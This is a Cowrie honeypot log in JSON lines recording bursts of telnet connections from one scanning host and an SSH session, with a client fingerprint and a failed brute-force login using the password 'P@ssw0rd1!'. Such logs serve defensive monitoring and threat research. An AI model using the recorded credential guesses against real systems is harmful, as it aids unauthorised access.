{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43116,"dst_ip":"159.203.135.109","dst_port":23,"session":"55e459f80314","protocol":"telnet","message":"New connection: 162.55.233.176:43116 (159.203.135.109:23) [session: 55e459f80314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.295998Z"}
{"eventid":"cowrie.session.closed","duration":30.842895984649658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.366243Z","src_ip":"162.55.233.176","session":"4aba770e6aa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43122,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c4bd828cd0","protocol":"telnet","message":"New connection: 162.55.233.176:43122 (159.203.135.109:23) [session: 31c4bd828cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.506265Z"}
{"eventid":"cowrie.session.closed","duration":36.0984263420105,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.688732Z","src_ip":"162.55.233.176","session":"13981b3aa5ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70176649093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.857622Z","src_ip":"162.55.233.176","session":"55273aeace55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.089465856552124,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.861781Z","src_ip":"162.55.233.176","session":"01a3a34f9329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214226245880127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.031131Z","src_ip":"162.55.233.176","session":"669316c83a1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43134,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d53f0e7fa28","protocol":"telnet","message":"New connection: 162.55.233.176:43134 (159.203.135.109:23) [session: 7d53f0e7fa28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.171379Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43136,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53d89e37c91","protocol":"telnet","message":"New connection: 162.55.233.176:43136 (159.203.135.109:23) [session: f53d89e37c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.461501Z"}
{"eventid":"cowrie.session.closed","duration":36.929574489593506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.624908Z","src_ip":"162.55.233.176","session":"844698478098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"8471a4b97ac8","protocol":"telnet","message":"New connection: 162.55.233.176:43150 (159.203.135.109:23) [session: 8471a4b97ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.728823Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43158,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d26439f6a6","protocol":"telnet","message":"New connection: 162.55.233.176:43158 (159.203.135.109:23) [session: 85d26439f6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.781887Z"}
{"eventid":"cowrie.session.closed","duration":36.0875563621521,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.894417Z","src_ip":"162.55.233.176","session":"6b78ba47a24e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.570717096328735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.908652Z","src_ip":"162.55.233.176","session":"a1d37a419650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43172,"dst_ip":"159.203.135.109","dst_port":23,"session":"17d8f92c1784","protocol":"telnet","message":"New connection: 162.55.233.176:43172 (159.203.135.109:23) [session: 17d8f92c1784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:58.955474Z"}
{"eventid":"cowrie.session.closed","duration":35.806437730789185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.309782Z","src_ip":"162.55.233.176","session":"3e1fba31fd69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43186,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ba22cbab64","protocol":"telnet","message":"New connection: 162.55.233.176:43186 (159.203.135.109:23) [session: c6ba22cbab64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.363128Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43190,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8786b1c135","protocol":"telnet","message":"New connection: 162.55.233.176:43190 (159.203.135.109:23) [session: eb8786b1c135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.857285Z"}
{"eventid":"cowrie.session.closed","duration":31.22552752494812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.894734Z","src_ip":"162.55.233.176","session":"d0871df5c411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156326055526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.959028Z","src_ip":"162.55.233.176","session":"6c30ce30330c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206844568252563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:59.974941Z","src_ip":"162.55.233.176","session":"7143de7baac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05528211593628,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:00.058697Z","src_ip":"162.55.233.176","session":"02e65bf13738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43196,"dst_ip":"159.203.135.109","dst_port":23,"session":"adfec3c0dc1e","protocol":"telnet","message":"New connection: 162.55.233.176:43196 (159.203.135.109:23) [session: adfec3c0dc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:00.069844Z"}
{"eventid":"cowrie.session.closed","duration":30.805989503860474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:00.561857Z","src_ip":"162.55.233.176","session":"27098955e02d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43206,"dst_ip":"159.203.135.109","dst_port":23,"session":"41fb38a1cb69","protocol":"telnet","message":"New connection: 162.55.233.176:43206 (159.203.135.109:23) [session: 41fb38a1cb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.085687Z"}
{"eventid":"cowrie.session.closed","duration":33.64908957481384,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.114114Z","src_ip":"162.55.233.176","session":"6af3bd170d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e887ad1027e1","protocol":"telnet","message":"New connection: 162.55.233.176:43208 (159.203.135.109:23) [session: e887ad1027e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.794628Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43210,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5b88d41ad9","protocol":"telnet","message":"New connection: 162.55.233.176:43210 (159.203.135.109:23) [session: bd5b88d41ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.815677Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43226,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a03d99904e","protocol":"telnet","message":"New connection: 162.55.233.176:43226 (159.203.135.109:23) [session: 88a03d99904e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.892894Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c1e51ccf57","protocol":"telnet","message":"New connection: 162.55.233.176:43238 (159.203.135.109:23) [session: f5c1e51ccf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:01.997583Z"}
{"eventid":"cowrie.session.closed","duration":34.71679449081421,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:02.087563Z","src_ip":"162.55.233.176","session":"b2e40a2baa97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43246,"dst_ip":"159.203.135.109","dst_port":23,"session":"e02c0b2e3e03","protocol":"telnet","message":"New connection: 162.55.233.176:43246 (159.203.135.109:23) [session: e02c0b2e3e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:02.171849Z"}
{"eventid":"cowrie.session.closed","duration":31.807905912399292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:02.834243Z","src_ip":"162.55.233.176","session":"2d22ce277b9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e8b55e17d7","protocol":"telnet","message":"New connection: 206.189.32.23:34086 (10.17.0.5:23) [session: 47e8b55e17d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:03.217251Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36496,"dst_ip":"159.203.135.109","dst_port":23,"session":"edd932259edb","protocol":"telnet","message":"New connection: 162.55.233.176:36496 (159.203.135.109:23) [session: edd932259edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:03.510240Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36508,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e08b928d372","protocol":"telnet","message":"New connection: 162.55.233.176:36508 (159.203.135.109:23) [session: 1e08b928d372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:03.659007Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4872a25c48a8","protocol":"telnet","message":"New connection: 206.189.32.23:34744 (10.17.0.5:23) [session: 4872a25c48a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:03.731850Z"}
{"eventid":"cowrie.session.closed","duration":36.695528984069824,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.227274Z","src_ip":"188.208.141.113","session":"3685467f16fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":26334,"dst_ip":"10.17.0.5","dst_port":22,"session":"addb1d2fbfcf","protocol":"ssh","message":"New connection: 38.137.11.14:26334 (10.17.0.5:22) [session: addb1d2fbfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.306459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.310619Z","src_ip":"38.137.11.14","session":"addb1d2fbfcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.545923Z","src_ip":"38.137.11.14","session":"addb1d2fbfcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2211434841156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.601936Z","src_ip":"162.55.233.176","session":"7230b505bf71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72548580169678,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:04.725420Z","src_ip":"162.55.233.176","session":"b6957cc0b1b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36516,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f7334509ecb","protocol":"telnet","message":"New connection: 162.55.233.176:36516 (159.203.135.109:23) [session: 6f7334509ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.279797Z"}
{"eventid":"cowrie.session.closed","duration":31.677210092544556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.380518Z","src_ip":"162.55.233.176","session":"e1a8d69607dd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd1!","message":"login attempt [user/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.521683Z","src_ip":"38.137.11.14","session":"addb1d2fbfcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.582046031951904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.640637Z","src_ip":"162.55.233.176","session":"52065cde054d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.64795756340027,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.743903Z","src_ip":"162.55.233.176","session":"fbc5580bea05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36522,"dst_ip":"159.203.135.109","dst_port":23,"session":"9977f663f09d","protocol":"telnet","message":"New connection: 162.55.233.176:36522 (159.203.135.109:23) [session: 9977f663f09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:05.806227Z"}
{"eventid":"cowrie.session.closed","duration":31.013159036636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:06.438713Z","src_ip":"162.55.233.176","session":"4a2e07c899f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.763086557388306,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:06.524478Z","src_ip":"188.208.141.113","session":"ff9098bb7a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36534,"dst_ip":"159.203.135.109","dst_port":23,"session":"008fdc3b8b14","protocol":"telnet","message":"New connection: 162.55.233.176:36534 (159.203.135.109:23) [session: 008fdc3b8b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:06.666596Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:06.762710Z","src_ip":"38.137.11.14","session":"addb1d2fbfcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36536,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f4591fbc88","protocol":"telnet","message":"New connection: 162.55.233.176:36536 (159.203.135.109:23) [session: 63f4591fbc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:06.932450Z"}
{"eventid":"cowrie.session.closed","duration":4.213976860046387,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:07.431106Z","src_ip":"206.189.32.23","session":"47e8b55e17d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.965822219848633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:07.954723Z","src_ip":"162.55.233.176","session":"01603350cb91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36540,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9ea32ea029","protocol":"telnet","message":"New connection: 162.55.233.176:36540 (159.203.135.109:23) [session: 8d9ea32ea029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:08.303195Z"}
{"eventid":"cowrie.session.closed","duration":30.79431438446045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:08.337361Z","src_ip":"162.55.233.176","session":"72ac0bf4c466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23875713348389,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:08.787475Z","src_ip":"162.55.233.176","session":"7a70c794cd96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.908287525177,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:08.985875Z","src_ip":"162.55.233.176","session":"fe8573dfb854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93203544616699,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:09.395071Z","src_ip":"162.55.233.176","session":"0d37dac98b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.679025173187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:09.688642Z","src_ip":"162.55.233.176","session":"3d633d26b455","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36550,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f44051c0888","protocol":"telnet","message":"New connection: 162.55.233.176:36550 (159.203.135.109:23) [session: 9f44051c0888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:09.851252Z"}
{"eventid":"cowrie.session.closed","duration":5.028136968612671,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.307827Z","src_ip":"162.55.233.176","session":"6f7334509ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37496,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd85799fe1a5","protocol":"telnet","message":"New connection: 188.208.141.113:37496 (10.17.0.5:23) [session: bd85799fe1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.393862Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36564,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec6e9cc0333","protocol":"telnet","message":"New connection: 162.55.233.176:36564 (159.203.135.109:23) [session: 2ec6e9cc0333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.752743Z"}
{"eventid":"cowrie.session.closed","duration":35.27277994155884,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.778605Z","src_ip":"162.55.233.176","session":"a530ca440772","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36566,"dst_ip":"159.203.135.109","dst_port":23,"session":"639fb744559b","protocol":"telnet","message":"New connection: 162.55.233.176:36566 (159.203.135.109:23) [session: 639fb744559b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.807625Z"}
{"eventid":"cowrie.session.closed","duration":44.991604804992676,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:10.939816Z","src_ip":"206.189.32.23","session":"ebeb94ddd699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36568,"dst_ip":"159.203.135.109","dst_port":23,"session":"1594ae28fa72","protocol":"telnet","message":"New connection: 162.55.233.176:36568 (159.203.135.109:23) [session: 1594ae28fa72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:11.498095Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36578,"dst_ip":"159.203.135.109","dst_port":23,"session":"068463ecc84a","protocol":"telnet","message":"New connection: 162.55.233.176:36578 (159.203.135.109:23) [session: 068463ecc84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:11.715664Z"}
{"eventid":"cowrie.session.closed","duration":31.42553687095642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:11.744670Z","src_ip":"162.55.233.176","session":"aa6c1dd5e027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.16799330711365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:11.937809Z","src_ip":"162.55.233.176","session":"394ade93556d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36592,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac6972de50b","protocol":"telnet","message":"New connection: 162.55.233.176:36592 (159.203.135.109:23) [session: 2ac6972de50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:12.111105Z"}
{"eventid":"cowrie.session.closed","duration":35.64922618865967,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:12.652709Z","src_ip":"162.55.233.176","session":"c8d02d1f5382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38298,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe6cb0d326f5","protocol":"telnet","message":"New connection: 162.55.233.176:38298 (159.203.135.109:23) [session: fe6cb0d326f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.081247Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38306,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6043fff1c1","protocol":"telnet","message":"New connection: 162.55.233.176:38306 (159.203.135.109:23) [session: 7e6043fff1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.202096Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38322,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a4d9a54e62","protocol":"telnet","message":"New connection: 162.55.233.176:38322 (159.203.135.109:23) [session: 54a4d9a54e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:06:13.309534Z"}
